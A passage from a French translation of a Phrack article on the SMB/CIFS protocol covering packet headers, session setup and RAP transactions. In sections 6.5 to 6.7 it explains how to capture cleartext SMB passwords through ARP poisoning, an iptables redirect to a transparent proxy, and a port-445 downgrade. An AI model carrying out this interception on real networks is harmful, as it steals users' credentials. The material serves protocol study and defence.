==Phrack Inc.== Volume 0x0b, Issue 0x3c, Phile #0x0b of 0x10 |=---------------------=[ SMB/CIFS BY THE ROOT ]=------------------------=| |=------------==[ ledin ]==--------------------=| |=--------------[Traduit par Jacob [Degenere-science]----------------------=| --[ Table des matières 1 - Introduction 2 - Qu’est ce que SMB/CIFS ??? 3 - Etablissement de session Comment un client procède-il pour établir une session avec un serveur ? 4 - Niveau de sécurité de SMB 5 - Password 6 - Description de quelques paquets SMB 6.1 - Les aspects général d’un paquet SMB 6.2 - NETBIOS et SMB 6.3 - L’en-tete de la base SMB 6.4 - Description des commandes les plus importantes de SMB 6.5 - Comment puis-je retrouver des passwords SMB en clair provenant du réseau quand ceux-ci sont censés être encryptés ? 6.6 - L’attaque “Man in the middle” 6.7 - Quelques notes à propos du fonctionnement de SMB sous TCP, sous windows 2k/XP 7 - Sous-protocoles de transaction et commandes RAP 7.1 - commandes RAP 8 - Utiliser les commandes RAP pour lister les partages disponible sur un serveur 8.1 - Paquets TconX 8.2 - Explications de la commande RAP "NetshareEnum" 9 - Conclusion 10 - Réferences 11 - Remerciement Annexe A Annexe B --[ 1 - Introduction Dans cette article, je vais tenter d’expliquer ce que sont CIFS et SMB, comment ils fonctionnent et quelques insécuritées liées à ces protocoles. Cette article constitue une source utile de connaissance sur les protocoles reseaux microsoft. Le protocole SMB est un des protocoles le plus utilisé sur les LAN. J’ai aussi inclut un code source dans le but de donner un bon exemple du fonctionement de SMB Vous allez apprendre comment utilisé l’arp poisoning pour obtenir un password en clair provenant du réseau ; quand tout les password SMB sont encrypter (sans bute-force). Vous allez comprendre le lien entre SMB et NETBIOS. Vous allez aussi apprendre ce qu’est, et comment fonctionne le « microsoft Remote Administration Protocol » (RAP), pour scanner en remote des partages sur un serveur SMB. Les programmes et les informations sont données dans un but purement informatif. Je ne pourrait pas être tenue responsable de ce que vous en ferez. --[ 2 - Qu’est ce que SMB/CIFS ? D’apres Microsoft, CIFS est prévu pour fournir un méchanisme d’open platforme pour les clients systemes, qui demande des services d’impression ainsi que des fichiers provenant du systeme serveur sous un réseau. Ceci est basé sur le protocole « Standard Server Message Block » (SMB). Ce dernier est largement en utilisation par les ordinateurs personnel et les workstations qui fournissent une grande variété d’OS. En fait, SMB (pour Server Message Block) est un protocole qui se charge du transfert des data entre les fichiers partager, des dispositifs matérielle, des pipes nommes ou des transfert de mail sur le reseau. CIFS est une version public de SMB. Les clients SMB disponible : De Microsoft : Windows 95, Windows for workgroups 3.x, Windows NT, 2000 et XP Pour linux: Smblient de Samba Smbfs par linux Les serveurs SMB : Samba Microsoft Windows for Workgroups 3.x Microsoft Windows 95 Microsoft Windows NT The PATHWORKS family of servers de Digital Lan Manager de OS/2, SCO, etc VisionFS de SCO TotalNET advanced Server de Syntax Advanced Server for UNIX de AT&T LAN Server de OS/2 de IBM. --[ 3 - Etablissement de session Note : Le protocol SMB a était développer pour fonctionner sous DOS (actionneé par un chip Intel) ainsi, l'ordonnancement des octet est en little-endian l’opposé de ce qui se passe dans le cas d'un reseau. SMB peut fonctionner sous TCP/IP, NETBEUI, sous le protocole DECnet et sous IPX/SPX. Avec une implementation de SMB sous TCP/IP, Decnet ou NETBEUI, les noms NETBIOS doivent etre utilisé. Je vais expliquer dans le chapitre six ce qu’est NETBIOS. Mais pour le moment, vous avez juste besoin de savoir qu’un nom NETBIOS identifie un ordinateur sur un réseaux microsoft. Le devellopement de SMB a commencer dans les années 80, il y a donc eu un bon nombre de version de ce protocole. Toutefois, la plus utilisé (sous Windows 95, 98, NT, 2000 et XP) est la version NT LM 0.12. Cette article se base donc sur cette derniere. Vous devez savoir qu’un nom de domaine SMB identifie un groupe de ressource (utilisateurs, imprimante, fichier...) sur un serveur SMB. Comment un client procède il pour établir une session avec le serveur ? Mettons nous en situation : un client souhaite acceder a une ressource spécifique sur un serveur. 1 - Pour commencer, le client requete le serveur pour une session NETBIOS. Le client envoie son nom NETBIOS encodé au serveur SMB (qui écoute les demandes de connection sur le port 139). Le serveur reçoit le nom NETBIOS et répond avec un paquet de session NETBIOS pour valider la session. Le client entre ensuite dans une session d’etablissement SMB, c’est a dire qu’il y a une identification du client aupres du serveur SMB. 2 - Le client envoie un paquet de demande SMB negprot (negprot pour « negociate protocol »). Le client donne une liste des version du protocol SMB supporté. Ensuite, le serveur envoie un paquet réponse SMB negprot (avec les informations comme le nom du domaine SMB, le nombre de connexion maximum acceptées, les versions du protocole SMB supportées...) 3 - Apres la négociation des protocoles, le client procède a l’identification d’un utilisateur ou d’une ressource partager sur le serveur. (voir le prochain chapitre pour savoir la différence entre l’identification d’un utilisateur et d’une ressource partager) Ce procedé est accomplit par les paquets de demande SesssetupX (SesssetupX pour Session Setup et X) Le client envoie un couple de login/password ou un simple password au serveur, qui refuse ou autorise la connection avec un paquet de réponse SesssetupX. 4 - Ok, lorsque le client a finit avec la négociation et l’identification, il envoie un paquet tconX pour spécifier le nom du réseaux de la ressource a laquel il souhaite acceder, et le serveur envoie une réponse Tconx, indicant si la connection est acceptée ou non. Demande de session netbios (nom netbios) [client] ---------------------------> [serveur] 1) session netbios accordé [client] <-------------------------- [serveur] demande SMB negprot [client] ---------------------------> [serveur] 2) réponse SMB negprot [client] <-------------------------- [serveur] demande SMB sesssetupX [client] ---------------------------> [serveur] 3) réponse SMB sesssetupX [client] <-------------------------- [serveur] demande SMB TconX [client] ---------------------------> [serveur] 4) réponse SMB TconX [client] <-------------------------- [serveur] Une description complete de chaques paquets est donner dans le chapitre six. --[ 4 - Niveau de sécurité de SMB Il y a deux types de modele de sécurité pour SMB : Le premier est le modèle de sécurité de « niveau de partage ». Ce modèle de sécurité associe un password a une ressource partagée sur le réseau. L’utilisateur se logue à cette ressource (IPC, Disk, Printers) avec le password correct. Un utilisateur, c’est n’importe qui sur le réseaux connaissant le nom du serveur où la ressource se trouve. Le seconde est le « niveau utilisateur ». Ce model de sécurité est une implémentation améliorée du premier. Il consiste a associer un couple de login/password a une ressource partagée. Donc si une personne veut se connecter à une ressource partagée, il devra au préalable connaitre le couple de login/password. Ce niveau de sécurité est utile pour savoir qui fait quoi. --[ 5 - Password Avec SMB, lorsque vous devez vous identifier aupres du serveur, votre password peut etre envoyer en clair, ou encrypter. Si le serveur suporte l’encryption, le client va devoir répondre a un challenge : Le serveur connait le password, donc dans le paquet de réponse negprot, une clé d’encryption va etre envoyer au client. Ce dernier encrypte le password, et l’envoye dans le paquet de demande SesssetupX, le serveur vérifie alors la validité du password et autorise la session ou non. Vous devez savoir qu’un password SMB (non encrypter) a une longueur maximal de 14 octet. La taille de la clé d’encryption est d’habitude d’une longueur de 8 octets. La taille du passowrd encrypter est de 24 octets. Avec les password ANSI, les charactères du password sont convertit en majuscule pour l’encryption. Le password est encrypter avec une encryption DES en « mode block » --[ 6 - Description de plusieurs paquets SMB. Dans cette partie je vais donner une description des paquets les plus importants impliquer dans le protocol SMB. Je sais que c’est un peu lourd mais c’est la base pour comprendre comment fonctionne SMB et ainsi l’attaquer. Je vais expliquer ce qui est très important dans chaque type de paquets. Pour chaque type de commande correpond deux type de paquet : le paquet de demande et le paquet de réponse. ----[ 6.1 - Les aspect général d’un paquet SMB. Dans la majorité des cas, SMB fonctionne sous la suite de protocole TCP/IP. Donc, pour nous, considerons que SMB fonctionne sous la couche TCP. Sous la couche TCP, vous trouverez toujours l’en-tete NETBIOS (NBT). Sous NBT vous avez l’en-tete de la base SMB. Sous l’en-tete de la base SMB, vous avez un autre type d’en-tete, qui dépend de la commande spécifique que vous demandez. ------------------------ | En-tete TCP | ------------------------ | En-tete NETBIOS | ------------------------ |En-tete de la base SMB | ------------------------ | En-tete de | | commande SMB | ------------------------ | DATA | ------------------------ « L’en-tete de la base SMB » contient plusieurs informations, comme la taille du buffer de reception, le maximum de connection autorisé... Il contient aussi un nombre qui identifie la commande demandé. « L’en-tete de commande SMB » est une en-tete contenant tout les paramètres pour la commande demandée. (une commande comme la négociation de la versions du protocole..) Le champ « DATA », ce sont les data pour la commande demandée. J’appelle « paquet SMB », l’en-tete NETBIOS + l’en-tete de la base SMB + l’en-tete de commande SMB + les DATA. NOTE : Je vais utiliser ces définitions : typedef unsigned char UCHAR; // 8 bits non signés typedef unsigned short USHORT; // 16 bits non signés typedef unsigned long ULONG; // 32 bits non signés et STRING definit une chaine ACSII terminer par null. ----[ 6.2 - NETBIOS et SMB NETBIOS (pour NETwork Basic Input and Outpout System) est largement utilisé sur les réseaux Microsoft. C’est une interface software et un systeme d’appellation. Chaque ordinateur a un nom NETBIOS, qui est d’une longueur de 15 charactères, et un seizieme charactères est utiliser pour identifier le type d’ordinateur (DNS, workstation..). Valeur pour le seizieme charactères : 0x00 ordinateur de base, workstation. 0x20 serveur de resource partagé Il y a aussi d’autre valeurs mais ce sont les plus importantes pour nous. La premiere (0x00) identifie une workstation et la seconde (0x20) identifie le serveur. Dans un paquet SMB, l’en-tete NETBIOS correspond a l’en-tete de session NETBIOS, définit comme cela : UCHAR Type; // Type du paquet UCHAR Flags; // Flags USHORT Length; // Longueur des octets DATA (en-tete NETBIOS non incluse) Pour le champ “Flags”, la valeur est toujours 0 (avec SMB, pas en général !) Pour le champ « type » plusieur valeurs sont possible : 0x81 correpond a une demande de session NETBIOS. Ce code est utilisé quand le client envoie son nom NETBIOS au serveur. 0X82 est une réponse positive a une demande de session NETBIOS. Ce code est utilisé par le serveur pour autoriser une session NETBIOS. 0X00 correspond a un message de session. Ce code est toujours utilisé dans une session SMB, c’est a dire quand le client a envoyé son nom NETBIOS au serveur et a reçut une réponse positive. Le champ « Lenght » (longueur) contient la longueur des data (l’en-tete netbios n’est pas inclut), « data » c’est ce qui est au dessut de l’en-tete NETBIOS (cela peut etre l’en-tete de la base SMB + l’en-tete de commande SMB + DATA ou nom NETBIOS) Les noms NETBIOS et l’encodage Un nom NETBIOS encodé a une longueur de 32 octets Un nom NETBIOS est toujours donné en caracteres majuscule. C’est vraiment tres facile d’encoder un nom NETBIOS. Par exemple, le nom NETBIOS de mon ordinateur, c’est « BILL » et c’est une workstation donc il y a la valeur 0x00 pour le seizieme charactères, comme vu précedamment. Premierement, quand un nom NETBIOS est plus court que 15 octets, il peut etre combler avec des espaces. "BILL " En hexadecimal : 0x42 0x49 0x4c 0x4c 0x20 0x20 ......0x00 Chaque octets sont séparer (par moitié) en 4 bit 0x4 0x2 0x4 0x9 0x4 0xc 0x4 0xc 0x2 0x0 ....... Et chaque « 4 octets » est ajouter a la valeur ASCII de la lettre « A » (0x41) 0x4 + 0x41 = 0x45 -> valeur ASCII = E 0x2 + 0x41 = 0x43 -> valeur ASCII = C ... Et vous avez le nom NETBIOS encoder qui est long de 32 octets. NOTE : SMB peut fonctionner directement sous TCP sans NBT (c’est supporté sous win2k et XP sur le port 445). Les noms NETBIOS ne sont pas limiter a 15 characteres dans ce cas. Vous n’avez pas a en savoir plus, si vous voulez avoir plus d’informations sur NETBIOS, lisez le [3] et le [4] ----[ 6.3 - L’en-tete de la base SMB Cette en-tete est utilisé dans tout les paquets SMB, en voici la définition : UCHAR Protocol[4]; // Contient 0xFF,'SMB' UCHAR Command; // code de commande union { struct { UCHAR ErrorClass; // Catégorie d’erreur UCHAR Reserved; // Réserver a un future usage USHORT Error; // Code d’erreur } DosError; ULONG Status; // code d’erreur 32-bit } Status; UCHAR Flags; // Flags USHORT Flags2; // Plus de flags union { USHORT Pad[6]; // assure à la section que la longueur est de 12 octets struct { USHORT PidHigh; // Partie haute du PID ULONG Unused; // Non utilisé ULONG Unused2; } Extra; }; USHORT Tid; // Tree identifier USHORT Pid; // Appelleur de processus ID USHORT Uid; // user ID non-authentifier USHORT Mid; // multiplexe id UCHAR WordCount; // Compte des mots en paramètre USHORT ParameterWords[ WordCount ]; // Les mots en paramètre USHORT ByteCount; // nombre d'octets UCHAR Buffer[ ByteCount ]; // Les octets Le champ “protocol” contient le nom du protocol (SMB) avec 0Xff avant. Le champ « Commande » contient la valeur de la commande demandé. Par exemple 0x72 est utilisé pour la commande « négociation de protocol » Le champ « tid » est utilisé quand le client est parvenue a se connecter a une ressource sur le serveur SMB. Le nombre TID identifie cette ressource. Le champ « PID » est utilisé quand le client est parvenue a créer un processus sur le serveur. Le nombre « PID » identifie ce processus. Le champ « uid » est utilisé quand un utilisateur est parvenue a s’enthentifier sur un serveur. Le nombre « uid » identifie cet utilisateur. Le champ « mid » est utilisé comme un couple avec le PID quand un client fait plusieur requete sur le serveur (processus, threads, acces au fichier...). Le champ « flags2 » est tout aussi important, quand le bit 15 est chargé, la chaine est une chaine unicode. ----[ 6.4 - Description des commandes les plus importantes de SMB Negociation du protocol SMB (negprot) La commande de négociation de protocole est utilisée dans la première étape d’une établissement de session SMB. Le code de commande pour le champ « commande » dans l’en-tete de la base SMB est : 0x72. Ci dessous ce trouve une description des en-tetes de requetes et de réponse negprot. En-tete de demande : UCHAR WordCount; Compte des words en paramètres = 0 USHORT ByteCount; Compte des octets data struct { UCHAR BufferFormat; 0x02 -- Dialect UCHAR DialectName[]; chaine ASCII terminé par null } Dialects[]; Ce paquet est envoyé par le client pour donner au serveur sa liste des versions du protocol SMB supportée. Il y a juste trois choses a dire, pour ce paquet. Le champ « wordCount » est toujours fixer a zero. Le champ « ByteCount » est égal a la taille de la structure « Dialect ». Le champ « ButterFormat » de « Dialect » est toujours égal a 0x02. La chaine «DialectName » contient le nom de plusieurs version du protocol supporté par le client. En-tete réponse UCHAR WordCount; Nombre de words en paramètres: 17 USHORT DialectIndex; Index du dialect séléctionné UCHAR SecurityMode; mode de sécurité: bit 0: 0 = partage, 1 = utilisateur bit 1: 1 = passwords encrypté USHORT MaxMpxCount; Max de requete multiplexé en attente USHORT MaxNumberVcs; Max de VCs entre le client et le server ULONG MaxBufferSize; Max de transm dans la taille du buffer ULONG MaxRawSize; Taille Maximum du raw buffer ULONG SessionKey; Marque unique identifiant cette session ULONG Capabilities; possibilité du serveur ULONG SystemTimeLow; Le systeme (UTC) de temp du serveur (low). ULONG SystemTimeHigh; Le systeme (UTC) de temp du serveur (high). USHORT ServerTimeZone; Zone temp du serveur (min de UTC) UCHAR EncryptionKeyLength; Longueur de la clé d’encryption. USHORT ByteCount; Contes des octets data UCHAR EncryptionKey[]; Le challenge de l’encryption de la clé UCHAR OemDomainName[]; Le nom du domaine (dans OEM chars) Ce paquet est envoyé par le serveur pour donner au client la liste des version du protocole SMB supporté, le nom du domaine SMB du serveur et une clé d’encryption si nécéssaire. IMPORTANT : Le premier champ intéressant est l’octet «securityMode ». Si le bits 0 est chargé, nous avons un niveau de sécurité utilisateur. Si ce n’est pas le cas, nous avons un alors un niveau de sécurité ressource partagé. Si le bit 1 est chargé le password est encrypté avec une encryption DES en mode Block. Le champ « SessionKey » est utlisé pour identifier la session. Il y a une seule clé de session pour une session. Le champ « capabilities » indique si le serveur supporte la chaine UNICODE ou des commandes particuliere NT LM 0.12 ... Les datas sont a la fin de l’en-tete. Avec une réponse negprot, ces DATAs correspondent a la chaine « EncryptionKey » et « OemDomainName ». La longueur de l’ensemble de ces deux chaine est donner par le champ « Bytecount ». La longueur de la chaine « EncryptionKey » est donnée par le champ « EncryptionKeyLenght ». La chaine « EncryptionKey » contient la clé pour l’encryption du password. La longueur de « OemDomainName » est donné par (« Bytecount » - « EncryptionKeyLength »). La chaine «OemDomainName » contient le nom de domaine SMB du serveur (dans OEM chars) Session setup et X Les paquets SessionSetup et X (nous employerons désormais le terme SesssetupX ou setupX pour abréviation) sont utilisés pour s’occuper de l’identification de l’utilisateur ou lorsque vous avez besoin de fournir un password pour acceder a une ressource. Le code de commande pour la commande setupX est 0x73. En-tete de demande UCHAR WordCount; Compte les words en paramètres = 13 UCHAR AndXCommand; Commande (X) secondaire; 0xFF = rien UCHAR AndXReserved; Reservé (doit être à 0) USHORT AndXOffset; Offset pour la prochaine commande WordCount USHORT MaxBufferSize; taille du buffer maximum du client USHORT MaxMpxCount; maximum de multiplex en attente requests USHORT VcNumber; 0 = premier (seulement), nonzero=additional Nombre VC ULONG SessionKey; clé de session(valid si VcNumber != 0) USHORT taille du password, ANSI CaseInsensitivePasswordLength; USHORT taille du password, Unicode CaseSensitivePasswordLength; ULONG Reserved; doit être à 0 ULONG Capabilities; capacité du client USHORT ByteCount; Longueur des octets data; min = 0 UCHAR password, ANSI CaseInsensitivePassword[]; UCHAR CaseSensitivePassword[]; password, Unicode STRING AccountName[]; nom, Unicode STRING PrimaryDomain[]; domaine primaire du client, Unicode STRING NativeOS[]; OS native du client, Unicode STRING NativeLanMan[]; Type du lan manager native du client, Unicode Ce paquet donne un bon nombre d’informations sur le systeme du client. Le champ « MaxBufferSize » est très important, en effet il donne la taille maximum de data que le client peut recevoir. Si vous le mettez a zero, vous ne recevrez aucun type de data du serveur. Pour les data, vous avez plusieur chaine. Les plus importantes sont : « CaseSensitivePassword » (password en caractere unicode) et « case InsentiviePassword (password en charactère ANSI). Un des deux est utilisé, cela dépend si le serveur supporte la chaine de caracteres UNICODE ou pas (voir la description des paquets de réponse du protocol négocié) La longueur du password est donné dans le champ «CaseInsensitivePasswordLenght » ou dans le champ « CaseSensitivePasswordLength » Pour les autres chaines, regardez la description. Le nombre des octets data est donné par le champ « Bytecount » En-tete réponse UCHAR WordCount; nombre de words en paramètres = 3 UCHAR AndXCommand; Commande (X) secondaire; 0xFF = rien UCHAR AndXReserved; Réservé(doit être à 0) USHORT AndXOffset; offset pour la prochaine commande WordCount USHORT Action; mode de demande: bit0 = loguer en Guest USHORT ByteCount; nombre d'octets data STRING NativeOS[]; OS natif du serveur STRING NativeLanMan[]; Type du LAN manger natif du serveur STRING PrimaryDomain[]; domaine primaire du serveur Encore une fois, Il ya un grand nombre d’information dans ce paquet : Le type d’OS, la version du software du serveur SMB qui fonctionne sur le serveur et le nom de domaine. Si la connection echoue, Il n’ y a rien pour NativeOS, NativeLanman, et pour la chaine PrimaryDomain. OK, j’ai finit avec la partie « tres hard » de cet article, nous pouvons enfin nous amuser avec le protocol SMB. Si vous voulez en apprendre plus a propos de tout cela, lisez le [1] ----[ 6.5 - Comment puis je retrouver des password SMB en clair provenant du réseaux quand ceux ci doivent etre crypter ? Pendant l’etablissement de session, le password est envoyé au serveur pendant la session SMB setupX. Le paquet de réponse SMB negprot contient un bit dans le champ « SecurityMode » qui autorise l’encryption du password. Ainsi, si vous voulez avoir un password en clair quand ceux ci sont encrypter, vous avez deux possibilité. La premiere est de choper la clé d’encryption et le password encrypter, et de brute-forcer ! Cela peut etre tres tres long... Quelques programmes comme LophtCrack (avec SMBGrinder), dsniff, ou readsmb2 sniffent les password SMB encrypté. La seconde possibilité est d’hijacker la connection et de faire croire au client que le password ne doit pas etre encrypter. Cette technique est un peu compliqué a expliqué, mais je vais tout de meme vous dire comment le faire ! Si le serveur est configurer pour encrypter le password, le paquet de réponse SMB negprot a un bit fixé a 1 dans le champ « securityMode ». Mais si un attaquant envoie un paquet de réponse SMB negprot avec ce bit égal a zero avant le serveur, le password sera en clair dans le paquet de demande SetupX. Demande negprot [client] ------------------------> [serveur] [l’attaquant patiente pour une demande negprot] [client] <-------------| [serveur] | Fausse réponse negprot | [l’attaquant envoie sa fausse réponse negprot] réponse negprot réel [client] <---------------------------------- [serveur] [l’attaquant (ne fait rien)] demande sessetupX avec le password en texte clair [client] ----------------------------------> [serveur] [l’attaquant sniff le password en texte clair] Ce diagramme illustre une injection directe de paquet dans le réseaux. Dans la majorité des cas, cette méthode ne fonctionne pas parce que la fausse réponse negprot peut etre traité apres la réelle. Il y a aussi d’autre probleme ; l’echec de session, la validité du password, peuvent ne pas fonctionner dans un environnement switché... Nous allons donc résoudre tout ces probleme en utilisant l’Arp-Poisoning. Je ne vais pas expliquer, ni décrire ce qu’est l’Arp poisoning, vous pouvez trouvez beaucoup de doc sur cela sur le net. Mais si vous ne savez pas ce que c’est, vous devez juste savoir que cette attaque autorise l’attaquant a rediriger et modifier la traffic entre le serveur et le client. Si vous considerez cette situation, l’attaquant est entre les deux... C’est un « man in the middle ».. ----[ 6.6 - L’attaque Man in the middle "Attack where your enemy is not expecting you" Sun Tzu, "The art of war" Maintenant je vais decrire l’attaque man-in the middle. Cette attaque autorise a bypasser les switch, a éviter l’echec de connection, et permet de grabber les password en clair. Considérons que le traffic entre le client et le serveur est rediriger par l’attaquant (merci arp poisoning ;-). Le client demande une session SMB au serveur. Le client va envoyer des paquets au port SMB (139) du serveur. L’attaquant les reçoit. Mais l’attaquant ne peut pas rediriger les paquets du serveur. Le trafic entier entrant du port SMB du serveur (donc la machine attaquante) est rediriger sur le port local 1139 de l’attaquant (tres facile a faire avec NAT et iptable). Le traffic entier (pas seulement SMB) est aussi rediriger avec iptables et NAT. Sur le port 1139, il y a un programme (un programme proxy transparent) qui assure la modification et la redirection des paquets SMB Les deux commandes iptables/NAT sont : Pour rediriger le traffic entrant (sur le port 139) a un port local (1139 par exemple). #iptables -t nat -A PREROUTING -i eth0 -p tcp -s 192.168.1.3 \ --dport 139 -j REDIRECT --to-port 1139 192.168.1.3 est l’adresse IP du client Pour rediriger le traffic entier: #iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE Qu’elle sont les modifications ?: L’attaquant modifie les réponse negprot pour avoir le password en texte clair. L’attaquant retrouve également la clé d’encryption. L’attaquant mets a 0 la valeur de la longueur de la clé d’encryption et met le nom de domaine a la place de la clé d’encryption. Il met le bit d’encryption du « SecurityMode » a 0. Avec sa, le password ne sera pas encrypter. Le client va envoyer le password en clair dans une demande setupX. Quand l’attaquant a le password, il l’encrypte avec la clé d’encryption retrouvé précédament, et envoie la demande setupX (avec la clé d’encryption) au serveur. Le serveur envoie une réponse setupX pour accepter ou refuser la session. L’attaquant redirige la réponse setupX et le traffic entier par la suite. La session ne sera pas coupé et personne n’aura vut notre man in the middle !. Description : ARP-P ARP-P [client] <--------- [attaquant] ---------> [serveur] L’attaquant procede a une attaque ARP poisoning pour rediriger le traffic entire entre les deux machines. [client] <---------> [attaquant] <---------> [serveur] La redirection de traffic est effectuer avec NAT et iptables. port 139 [client] -----------------> [attaquant] [serveur] L’attaquant reçoit le premier paquet en direction du port du serveur SMB [client] ----------------->[attaquant 139] [serveur] | V [attaquant 1139] L’attaquant le redirige sur le port 1139. Sur le port 1139 notre programme proxy est en écoute. Requete negprot [client] -----------------> [attaquant] [serveur] L’attaquant reçoit la demande negprot Requete negprot [client] [attaquant]---------------> [serveur] L’attaquant redirige directement la demande negprot du serveur Réponse negprot [client] [attaquant] <---------------------------- [serveur] (Le bit d’encryption est fixé pour avoir un password encrypté) Le serveur répond avec une réponse negprot avec le bit d’encryption fixé pour avoir le password encrypté. L’attaquant ne redirige pas ces paquets. Il change le bit d’encryption pour avoir le password en texte clair. Réponse negprot [client] <----------------------------- [attaquant] [serveur] (bit d’encryption fixé pour avoir le password en texte plein) L’attaquant envoie la réponse negprot modifié avec le bit d’encryption changé pour avoir le password en texte clair. Requete sesssetupX [client] ------------------------> [attacker] [serveur] (password en texte clair) Le client envoie le password en texte clair, l’attaquant le retrouve. Requete sesssetupX [client] [attaquant] ---------------------> [serveur] (password encrypter) Le client envoie une demande setupX au serveur avec le password encrypté. Réponse sesssetupX [client] <------------- [attaquant] <---------------- [serveur] Le serveur envoye la réponse setupX. L’attaquant la redirige. [client] <------------> [attacker] <--------------> [server] L’attaquant continue a rediriger le traffic entre les deux machines jusqu’a la fin de la session SMB L’implémentation de l’attaque man in the middle est donner dans l’annexe A (les regles iptables et NAT sont aussi données) Jetez un oeuil sur le code source, vous apprendrez beaucoup de chose ! ----[ 6.7 Quelques notes a propos du fonctionnement de SMB sous TCP, sous windows 2k/XP Comme je l’ai écris avant, sous windows 2k/XP, SMB peut fonctionner directement sous TCP. Le serveur SMB est en écoute des connexion entrante sur le port 445. Mais ceci n’est pas realisé « directement ». En fait, au lieu d’avoir une en-tete NETBIOS qui est longue de 4 octets, nous avons une autre en-tete, longue également de 4 octets. Description : |----------------| | TCP | |----------------| |EN-TETE SPECIAL | |----------------| |EN-TETE SMB BASE| |----------------| L’en-tete special est définit comme cela: UCHAR Zero; // placer à zero UCHAR Length[3];// Conte des octets data (Les 4 octets de L’en-tete ne sont pas inclut) L’en-tete special n’est pas vraiment différente de celle de NETBIOS. Vous allez comprendre pourquoi. Voila l’en-tete NETBIOS UCHAR Type; // Type du paquet UCHAR Flags; // Flags USHORT Length; // Conte des octets data (En-tete netbios Non inclut) Lorsque SMB fonctionne sous TCP la requete de session NETBIOS ne doit pas etre utilisé. En fait, les nom NETBIOS du client et du serveur ne doivent pas etre envoyé. Ainsi, la valeur du champ « type » dans NETBIOS est toujours égal a 0. (le champ « field » est différent de 0 quand le client envoye son nom NETBIOS encodé - Type = 0x81 - et lorsqu’il reçoit la réponse - Type = 0x82 -) Rappellez vous, pendant la session SMB le champ « field » est égal a 0 (c’est le code « type » pour le message de session NETBIOS) Pour le premier octet, rien n’est différent. Maintenant, pour les trois dernier octets (4-1) : Le champ « flags » de l’en-tete NETBIOS est toujours mis a zero. La longueur du paquet prend seulement les deux dernier octets de l’en-tete spécial. Les trois derniers octets sont les memes. Pour conclure il n’y a pas de différence entre l’en-tete NETBIOS et l’en-tete spécial quand NETBIOS n’est pas utilisé. L’attaque Downgrade : Si le client (qui est sous win2k/XP) a netbios d’activé, il essayera toujours de se connecter sur le port 139 et 445 simultanéiment . Si le client a une réponse provenant du port 445, il envoie un paquet RST sur le port 139 (pour couper la connexion), vous avez donc a faire croire au client que le port 445 est fermé). Avec le proxy transparent l’attaque est tres facile a mettre en place. Avec iptable, vous avez juste a rediriger le traffic entrant sur la machine attaquante sur le port 445 fermé. Comme ça, le client va utiliser le port 139 (les regles iptables sont donner dans l’annexe A). Cela fonctionnera si et seulement si NETBIOS est activé. Si le client a NETBIOS activé, le proxy transparent va s’occuper du traffic SMB sur le port 445. Une option est disponible dans le programme pour cela. Ok, nous en avons finit pour la récuperation de password. Nous allons étudier un autre point important de SMB. --[7 - Sous-protocole de transaction et commandes RAP Je vais expliquer dans ce chapitre un panel de commandes SMB : les commandes RAP. Ces commandes utilisent lesous-protocole de transaction. Je vais aussi décrire ce sous-protocole. ----[ 7.1 Le sous-protocole de transaction. Lorsque une grande quantité de data est envoyé durant la session SMB, ou si il y a une opération spécifique demandé, le protocole SMB inclut un sous-protocole de transaction. Le sous-protocole de transaction est principalement utilisé pour SMB remote procedure calls : La commande RAP (RAP pour Remote Administration Protocol). Mais je vais l’expliquer plus tard Le sous-protocole de transaction n’est pas un derivé du protocole SMB. Le sous-protocole de transaction est juste une autre commande de SMB. Donc, le sous-protocole de transaction est « posé » sur l’en-tete de la base SMB et le code de commande pour la transaction subprotocol est 0x25. Comme les autres commande il y a une requete et une réponse. Voila une en-tete de demande de transaction. UCHAR WordCount; Nombre de words en paramètres; value =(14 + valeur du champ "SetupCount" ) USHORT TotalParameterCount; Nombre d'octets en paramètres envoyés USHORT TotalDataCount; Nombre total d'octets de data envoyés USHORT MaxParameterCount; Nombre max d'octets de paramères retournés USHORT MaxDataCount; Nombre max d'octets de data retournés UCHAR MaxSetupCount; Nombre max d'octets de setup retournés UCHAR Reserved; USHORT Flags; information additionelle: bit 0 - Deconnecte aussi TID dans TID bit 1 - transaction a sens unique (pas de réponse) ULONG Timeout; USHORT Reserved2; USHORT ParameterCount; Octets de paramères envoyés par ce buffer USHORT ParameterOffset; Offset (a partir du debut de l'en-tête) des paramètres USHORT DataCount; Octets de data envoyés par ce buffer USHORT DataOffset; Offset (à partir du debut de l'en-tête) des datas UCHAR SetupCount; Nombre de words de setup UCHAR Reserved3; Réservé (bourrage jusqu'au word) USHORT Setup[SetupCount]; Words de setup(# = SetupWordCount) USHORT ByteCount; Nombre d'octets de data STRING Name[]; Nom de la transaction (NULL si SMB_COM_TRANSACTION2) UCHAR Pad[]; Bourrage jusqu'a un SHORT ou un LONG UCHAR Parameters[ Octets de paramètres (# = ParameterCount) ParameterCount]; UCHAR Pad1[]; Bourrage jusqu'a un SHORT ou un LONG UCHAR Data[ DataCount ]; Octets de data (# = DataCount) Dans la majorité des cas, une commande RAP envoyé avec le sous-protocole de transaction peut avoir besoin de plusieurs paquets de transaction pour envoyer les octets de paramètres et de data. Les octets de paramètres sont habituellement envoyés en premiers, suivi par les octets de data.Si plusieurs transactions de paquets doivent etre impliquées, le serveur envoie un petit paquet pour l’accord entre chaque transaction de paquets : UCHAR WordCount; Nombre de words en paramètres = 0 USHORT ByteCount; Nombre d'octets de data = 0 Pour l’en-tête de demande de transaction, le champ “TotalParameterCount” represente le nombre d’octets enparmètres à être envoyés et c’est la meme chose pour le champ “TotalDataCount”. L’offset du début de l’en-tête de la base SMB et des octets data sont donnés avec le champ « ParameterOffset » et « DataOffset » Les octets en paramètres sont dans le champ « paramètres » Les data bytes sont dans le champ « data ». Vous devez comprendre que ces champs « parametres » et « data » sont utilisé pour les commandes RAP. Le champ « parametre » contient l'octet pour la commande RAP, et « data », les data bytes. Le champs pour « DataCount » et « ParameterCount » representent respectivement le nombre des octets de data et le nombre d'octets en parametres présents dans la transaction de paquets considerées. Jettons un coup d’oeuil sur le champ « WordCount », il contient la valeur : 14 + champ « SetupCount », dans la majorité des cas, SetupCount est égal a 0. L’en-tête réponse de Transaction : Il n’y a pas une grosse difference entre la réponse et la demande : UCHAR WordCount; Count of data bytes; value = 1 Champ "Setupcount". USHORT TotalParameterCount; Total des octets de paramètres venant d’être envoyé USHORT TotalDataCount; Total des octets data venant d’être envoyé USHORT Reserved; USHORT ParameterCount; Octets de paramères envoyés par ce buffer USHORT ParameterOffset; Offset (a partir du debut de l'en-tête) des paramètres USHORT ParameterDisplacement; Déplacement de ces octets de paramètres USHORT DataCount; Octets de data envoyés par ce buffer USHORT DataOffset; Offset (à partir du debut 